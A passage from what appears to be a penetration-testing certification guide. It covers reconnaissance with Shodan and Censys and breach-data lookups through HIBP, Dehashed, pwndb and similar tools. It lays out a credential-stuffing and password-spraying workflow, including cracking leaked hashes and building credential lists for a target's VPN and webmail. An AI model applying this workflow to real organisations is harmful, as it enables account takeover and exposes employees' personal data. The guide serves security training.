&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find systems with screenshots&lt;/span&gt;
shodan search &lt;span class="s1"&gt;'org:"Target Company" has_screenshot:true'&lt;/span&gt;

&lt;span class="c"&gt;# View screenshots in Shodan web interface&lt;/span&gt;
&lt;span class="c"&gt;# https://www.shodan.io/search?query=org%3A%22Target+Company%22+has_screenshot%3Atrue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Censys — Shodan Alternative
&lt;/h4&gt;

&lt;p&gt;Censys is a comparable tool to Shodan with some distinct advantages:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Censys CLI&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;censys

&lt;span class="c"&gt;# Search hosts&lt;/span&gt;
censys search &lt;span class="s1"&gt;'organization.name="Target Company Inc."'&lt;/span&gt; &lt;span class="nt"&gt;--index-type&lt;/span&gt; HOSTS

&lt;span class="c"&gt;# Search certificates&lt;/span&gt;
censys search &lt;span class="s1"&gt;'parsed.subject.organization="Target Company Inc."'&lt;/span&gt; &lt;span class="nt"&gt;--index-type&lt;/span&gt; CERTS

&lt;span class="c"&gt;# Detailed host information&lt;/span&gt;
censys view HOSTS 203.0.113.50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Shodan vs. Censys comparison:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Shodan&lt;/th&gt;
&lt;th&gt;Censys&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scan frequency&lt;/td&gt;
&lt;td&gt;Continuous&lt;/td&gt;
&lt;td&gt;Continuous&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protocol coverage&lt;/td&gt;
&lt;td&gt;Very broad&lt;/td&gt;
&lt;td&gt;Broad&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Historical data&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Certificate search&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Excellent (dedicated index)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Free tier&lt;/td&gt;
&lt;td&gt;Yes (limited)&lt;/td&gt;
&lt;td&gt;Yes (limited)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerability data&lt;/td&gt;
&lt;td&gt;CVE tagging&lt;/td&gt;
&lt;td&gt;CVE tagging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Screenshot capture&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IoT/OT focus&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASN search&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  3.1.22 Breach Data Intelligence — Leaked Credentials and Exposure Monitoring
&lt;/h3&gt;

&lt;p&gt;Breach intelligence is one of the most immediately actionable categories of passive reconnaissance data. Discovering that an organization's employees have passwords in public breach databases provides a direct credential stuffing attack vector.&lt;/p&gt;

&lt;h4&gt;
  
  
  Understanding the Breach Data Ecosystem
&lt;/h4&gt;

&lt;p&gt;Every major data breach eventually results in the stolen data being traded, sold, and ultimately made public in various forums, paste sites, and dedicated breach databases. The timeline typically follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Breach Occurs
    ↓ (Days to months)
Data sold on dark web markets (private, expensive)
    ↓ (Months to years)
Data traded in hacker forums (semi-private)
    ↓ (Months to years)
Data aggregated and indexed (public, searchable)
    ↓ (Current state)
Data accessible via breach intelligence services
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Have I Been Pwned (HIBP)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://haveibeenpwned.com/" rel="noopener noreferrer"&gt;https://haveibeenpwned.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Created by:&lt;/strong&gt; Troy Hunt (Microsoft Regional Director, security researcher)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Data:&lt;/strong&gt; 12+ billion records from 600+ breaches&lt;/p&gt;

&lt;p&gt;HIBP is the most respected and widely used breach notification service. It provides:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For email addresses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which breaches an email address appears in&lt;/li&gt;
&lt;li&gt;What data was exposed (password, phone number, physical address, etc.)&lt;/li&gt;
&lt;li&gt;Paste sites where the email appears&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For domains (enterprise use):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Domain-level search: all compromised email addresses @targetco.com&lt;/li&gt;
&lt;li&gt;API access for bulk lookups
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# HIBP API for domain search&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://haveibeenpwned.com/api/v3/breacheddomain/targetco.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"hibp-api-key: YOUR_API_KEY"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"user-agent: MyPentestApp"&lt;/span&gt;

&lt;span class="c"&gt;# Check single email&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://haveibeenpwned.com/api/v3/breachedaccount/j.smith@targetco.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"hibp-api-key: YOUR_API_KEY"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"user-agent: MyPentestApp"&lt;/span&gt;

&lt;span class="c"&gt;# Response&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Name"&lt;/span&gt;: &lt;span class="s2"&gt;"LinkedIn"&lt;/span&gt;,
    &lt;span class="s2"&gt;"BreachDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2012-05-05"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;"LinkedIn breach of 2012 affecting 164 million accounts"&lt;/span&gt;,
    &lt;span class="s2"&gt;"DataClasses"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Email addresses"&lt;/span&gt;, &lt;span class="s2"&gt;"Passwords"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;,
  &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Name"&lt;/span&gt;: &lt;span class="s2"&gt;"Adobe"&lt;/span&gt;,
    &lt;span class="s2"&gt;"BreachDate"&lt;/span&gt;: &lt;span class="s2"&gt;"2013-10-04"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Description"&lt;/span&gt;: &lt;span class="s2"&gt;"Adobe breach affecting 152 million accounts"&lt;/span&gt;,
    &lt;span class="s2"&gt;"DataClasses"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"Email addresses"&lt;/span&gt;, &lt;span class="s2"&gt;"Password hints"&lt;/span&gt;, &lt;span class="s2"&gt;"Passwords"&lt;/span&gt;, &lt;span class="s2"&gt;"Usernames"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Intelligence derived from HIBP results:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If 40% of Target Company's employees have been in breaches where passwords were exposed, this reveals:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;High likelihood of password reuse across corporate and personal accounts&lt;/li&gt;
&lt;li&gt;Historical password patterns (enabling targeted password guessing)&lt;/li&gt;
&lt;li&gt;Specific employee email addresses are confirmed active&lt;/li&gt;
&lt;li&gt;Breach recency (2012 LinkedIn breach → 12-year-old password likely still reused)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  F-Secure Identity Checker
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://www.f-secure.com/en/home/free-tools/identity-checker" rel="noopener noreferrer"&gt;https://www.f-secure.com/en/home/free-tools/identity-checker&lt;/a&gt;&lt;br&gt;&lt;br&gt;
F-Secure provides a consumer-facing breach checking tool that uses their own breach intelligence database. As a cybersecurity company, F-Secure has access to breach data not in HIBP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Professional relevance:&lt;/strong&gt; &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use alongside HIBP for broader coverage&lt;/li&gt;
&lt;li&gt;Can confirm exposure not in HIBP's dataset&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  HackNotice
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://hacknotice.com/" rel="noopener noreferrer"&gt;https://hacknotice.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Breach monitoring and notification service&lt;/p&gt;

&lt;p&gt;HackNotice provides breach intelligence with a focus on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dark web monitoring for organization data&lt;/li&gt;
&lt;li&gt;Real-time breach alerts&lt;/li&gt;
&lt;li&gt;Industry-specific breach tracking&lt;/li&gt;
&lt;li&gt;Employee exposure assessment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Professional use:&lt;/strong&gt; HackNotice is typically used as part of a threat intelligence subscription for continuous monitoring rather than point-in-time penetration test reconnaissance.&lt;/p&gt;
&lt;h4&gt;
  
  
  BreachDirectory
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://breachdirectory.com/" rel="noopener noreferrer"&gt;https://breachdirectory.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Breach data search with partial password hash exposure&lt;/p&gt;

&lt;p&gt;BreachDirectory provides search capability across breach data and, notably, can show &lt;strong&gt;partial password hashes&lt;/strong&gt; — allowing confirmation that a password exists in breach data without exposing the full hash.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# BreachDirectory API&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://breachdirectory.com/api/?func=auto&amp;amp;term=j.smith@targetco.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"x-api-key: YOUR_KEY"&lt;/span&gt;

&lt;span class="c"&gt;# Response includes partial SHA-1 hash&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"success"&lt;/span&gt;: &lt;span class="nb"&gt;true&lt;/span&gt;,
  &lt;span class="s2"&gt;"result"&lt;/span&gt;: &lt;span class="o"&gt;[&lt;/span&gt;
    &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"email"&lt;/span&gt;: &lt;span class="s2"&gt;"j.smith@targetco.com"&lt;/span&gt;,
      &lt;span class="s2"&gt;"sha1"&lt;/span&gt;: &lt;span class="s2"&gt;"5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SHA-1 hash can then be looked up in hash databases to recover the plaintext password.&lt;/p&gt;

&lt;h4&gt;
  
  
  Keeper Security
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://keepersecurity.com/" rel="noopener noreferrer"&gt;https://keepersecurity.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Password manager and breach monitoring platform&lt;/p&gt;

&lt;p&gt;Keeper Security's enterprise product includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;BreachWatch:&lt;/strong&gt; Monitors the dark web for employee credential exposure&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event Reporting:&lt;/strong&gt; Tracks credential-related security events&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance Reporting:&lt;/strong&gt; Generates compliance reports for breached account remediation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Relevance to penetration testing:&lt;/strong&gt; Keeper's breach monitoring features inform the penetration tester about the sophistication of the client's credential hygiene program. If the client uses BreachWatch and still has many exposed credentials, it indicates employees are not responding to breach notifications.&lt;/p&gt;
&lt;h4&gt;
  
  
  WhatBreach
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/Ekultek/WhatBreach" rel="noopener noreferrer"&gt;https://github.com/Ekultek/WhatBreach&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Open-source breach data aggregation tool&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Created by:&lt;/strong&gt; Ekultek&lt;/p&gt;

&lt;p&gt;WhatBreach is a command-line tool that checks emails against multiple breach databases simultaneously:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
git clone https://github.com/Ekultek/WhatBreach
&lt;span class="nb"&gt;cd &lt;/span&gt;WhatBreach
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Single email check&lt;/span&gt;
python3 whatbreach.py &lt;span class="nt"&gt;-e&lt;/span&gt; j.smith@targetco.com

&lt;span class="c"&gt;# Multiple emails from file&lt;/span&gt;
python3 whatbreach.py &lt;span class="nt"&gt;-l&lt;/span&gt; email_list.txt

&lt;span class="c"&gt;# Output&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Email: j.smith@targetco.com
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Found &lt;span class="k"&gt;in &lt;/span&gt;3 breaches:
    - LinkedIn &lt;span class="o"&gt;(&lt;/span&gt;2012&lt;span class="o"&gt;)&lt;/span&gt;: Email, Password
    - Adobe &lt;span class="o"&gt;(&lt;/span&gt;2013&lt;span class="o"&gt;)&lt;/span&gt;: Email, Password Hint, Username
    - MyFitnessPal &lt;span class="o"&gt;(&lt;/span&gt;2018&lt;span class="o"&gt;)&lt;/span&gt;: Email, IP Address, Username

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Checking pastes...
&lt;span class="o"&gt;[&lt;/span&gt;+] Found on 2 &lt;span class="nb"&gt;paste &lt;/span&gt;sites:
    - Pastebin: https://pastebin.com/AbCdEfGh
    - Ghostbin: https://ghostbin.com/paste/XyZaBc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  LeakLooker
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/woj-ciech/LeakLooker" rel="noopener noreferrer"&gt;https://github.com/woj-ciech/LeakLooker&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Tool for finding exposed databases and files&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Python&lt;/p&gt;

&lt;p&gt;LeakLooker searches Shodan and other sources for exposed and potentially breached data sources, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exposed MongoDB databases (no authentication)&lt;/li&gt;
&lt;li&gt;Exposed Elasticsearch clusters&lt;/li&gt;
&lt;li&gt;Exposed CouchDB instances&lt;/li&gt;
&lt;li&gt;Exposed files in cloud storage
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
git clone https://github.com/woj-ciech/LeakLooker
&lt;span class="nb"&gt;cd &lt;/span&gt;LeakLooker
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Search for exposed databases belonging to target&lt;/span&gt;
python3 leaklooker.py &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;--target&lt;/span&gt; targetco.com

&lt;span class="c"&gt;# Search Shodan for exposed databases in target's IP range&lt;/span&gt;
python3 leaklooker.py &lt;span class="nt"&gt;--shodan&lt;/span&gt; &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s1"&gt;'net:203.0.113.0/24'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;Why LeakLooker matters:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Many organizations have accidentally exposed databases to the public Internet:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MongoDB with no authentication (common misconfiguration)&lt;/li&gt;
&lt;li&gt;Elasticsearch with no authentication (extremely common)&lt;/li&gt;
&lt;li&gt;Redis with no authentication and no bind restriction&lt;/li&gt;
&lt;li&gt;Cassandra with no authentication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Discovering these during passive reconnaissance (via Shodan data) is a critical finding that can be reported as a severe vulnerability even before active testing begins.&lt;/p&gt;
&lt;h4&gt;
  
  
  Buster
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/sham00n/buster" rel="noopener noreferrer"&gt;https://github.com/sham00n/buster&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Email to social profile aggregation tool&lt;/p&gt;

&lt;p&gt;Buster takes an email address and finds associated accounts on other platforms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
git clone https://github.com/sham00n/buster
&lt;span class="nb"&gt;cd &lt;/span&gt;buster
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Search for accounts associated with an email&lt;/span&gt;
python3 buster.py &lt;span class="nt"&gt;-e&lt;/span&gt; j.smith@targetco.com

&lt;span class="c"&gt;# Output&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Searching &lt;span class="k"&gt;for&lt;/span&gt;: j.smith@targetco.com
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Results:
    - Gravatar: Profile found &lt;span class="o"&gt;(&lt;/span&gt;avatar reveals face photo&lt;span class="o"&gt;)&lt;/span&gt;
    - Github: username jsmith-dev &lt;span class="o"&gt;(&lt;/span&gt;public repositories found&lt;span class="o"&gt;)&lt;/span&gt;
    - GitLab: username jsmith &lt;span class="o"&gt;(&lt;/span&gt;repositories found&lt;span class="o"&gt;)&lt;/span&gt;
    - Disqus: Comments found &lt;span class="o"&gt;(&lt;/span&gt;reveals opinions and interests&lt;span class="o"&gt;)&lt;/span&gt;
    - About.me: Personal page found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Intelligence value:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub username → access to their public repositories → potential code disclosure&lt;/li&gt;
&lt;li&gt;Personal website → technology preferences, skills, contact information&lt;/li&gt;
&lt;li&gt;Gravatar → profile photo (for identity verification in social engineering)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Scavenger
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/rndinfosecguy/Scavenger" rel="noopener noreferrer"&gt;https://github.com/rndinfosecguy/Scavenger&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; OSINT tool for finding breach data from dark web sources&lt;/p&gt;

&lt;p&gt;Scavenger aggregates data from dark web sources, IRC channels, and paste sites to find exposed credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
git clone https://github.com/rndinfosecguy/Scavenger
&lt;span class="nb"&gt;cd &lt;/span&gt;Scavenger
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Configure API keys in config.py&lt;/span&gt;
&lt;span class="c"&gt;# Run search&lt;/span&gt;
python3 scavenger.py &lt;span class="nt"&gt;-s&lt;/span&gt; j.smith@targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  PwnDB
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/davidtavarez/pwndb" rel="noopener noreferrer"&gt;https://github.com/davidtavarez/pwndb&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Tool for querying the PwnDB Tor-hidden service for leaked credentials&lt;/p&gt;

&lt;p&gt;PwnDB is a dark web database of leaked credentials. The pwndb tool provides a command-line interface for querying it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install&lt;/span&gt;
git clone https://github.com/davidtavarez/pwndb
&lt;span class="nb"&gt;cd &lt;/span&gt;pwndb
pip3 &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt

&lt;span class="c"&gt;# Requires Tor running locally&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;service tor start

&lt;span class="c"&gt;# Query for email&lt;/span&gt;
python3 pwndb.py &lt;span class="nt"&gt;--target&lt;/span&gt; j.smith@targetco.com

&lt;span class="c"&gt;# Query for domain (finds all @targetco.com exposures)&lt;/span&gt;
python3 pwndb.py &lt;span class="nt"&gt;--target&lt;/span&gt; targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; PwnDB queries a Tor-based service and returns plaintext or partially-recovered passwords. This intelligence must be handled in accordance with the engagement's legal agreements and data protection obligations.&lt;/p&gt;

&lt;h4&gt;
  
  
  Credential Stuffing — The Attack Chain
&lt;/h4&gt;

&lt;p&gt;Once breach data is identified, the attack chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Identify breached @targetco.com email addresses (HIBP, pwndb, etc.)
         ↓
2. Obtain associated password hashes from breach databases
         ↓
3. Crack password hashes (offline, using hashcat/John the Ripper)
         ↓
4. Test recovered plaintext passwords against corporate systems:
   - Microsoft 365 login (outlook.office365.com)
   - Corporate VPN login
   - Citrix Gateway
   - Web application login
         ↓
5. Successful authentication = confirmed credential reuse vulnerability
   (Password Spraying: test one password across many accounts to avoid lockouts)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Password Spraying in the authorization context:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Password spraying uses a single common password against many accounts, avoiding account lockout:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Only perform after authorization is granted (ACTIVE reconnaissance)&lt;/span&gt;
&lt;span class="c"&gt;# Tools used in active phase:&lt;/span&gt;
&lt;span class="c"&gt;# - Spray&lt;/span&gt;
&lt;span class="c"&gt;# - MSOLSpray (Microsoft 365)&lt;/span&gt;
&lt;span class="c"&gt;# - GoMapEnum&lt;/span&gt;
&lt;span class="c"&gt;# - TREVORspray&lt;/span&gt;
&lt;span class="c"&gt;# - CredKing (Lambda-based spray for IP rotation)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Dehashed
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href="https://dehashed.com/" rel="noopener noreferrer"&gt;https://dehashed.com/&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Type:&lt;/strong&gt; Commercial breach intelligence database with comprehensive credential search&lt;/p&gt;

&lt;p&gt;Dehashed is a paid service that provides access to one of the largest breach databases, enabling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email to password search&lt;/li&gt;
&lt;li&gt;Username to password search&lt;/li&gt;
&lt;li&gt;IP address to credential search&lt;/li&gt;
&lt;li&gt;Domain-wide breach analysis
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Dehashed API&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://api.dehashed.com/search?query=domain:targetco.com&amp;amp;size=100"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Basic &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'email@example.com:API_KEY'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  The Complete Breach Intelligence Workflow
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1: Collect all @targetco.com email addresses
  └── Sources: theHarvester, Hunter.io, LinkedIn (via CrossLinked), 
              HIBP domain search, CT log-derived email formats

Step 2: Check all emails against breach databases
  └── Tools: HIBP API, WhatBreach, pwndb, Dehashed

Step 3: Identify accounts with exposed passwords
  └── Prioritize by:
      - Recency of breach (more recent = less likely changed)
      - Number of breaches (multiple breaches = likely password reuser)
      - Seniority of account holder (admin accounts are highest priority)
      - Role (IT admins, security team, finance are high-value)

Step 4: Attempt to recover plaintext passwords
  └── Hashcat, John the Ripper against recovered hashes
  └── Online lookup services for unsalted MD5/SHA1

Step 5: Prepare credential list for active testing phase
  └── Organize by target (VPN, webmail, application)
  └── Document for inclusion in pre-engagement intelligence report
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Module 3 — Section 3.2: Performing Active Reconnaissance
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Written to build real understanding, not just tool familiarity.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Table of Contents
